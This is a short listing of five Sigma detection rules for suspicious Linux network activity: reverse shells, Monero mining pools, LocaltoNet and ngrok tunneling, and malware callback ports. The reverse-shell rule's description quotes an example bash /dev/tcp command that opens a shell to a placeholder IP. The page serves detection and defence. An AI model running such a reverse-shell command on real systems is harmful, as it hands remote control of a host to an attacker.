Sigma Rules
5 rules found
Linux Reverse Shell Indicator
Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
Linux Crypto Mining Pool Connections
Detects process connections to a Monero crypto mining pool
Communication To LocaltoNet Tunneling Service Initiated - Linux
Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.
Communication To Ngrok Tunneling Service - Linux
Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors
Potentially Suspicious Malware Callback Communication - Linux
Detects programs that connect to known malware callback ports based on threat intelligence reports.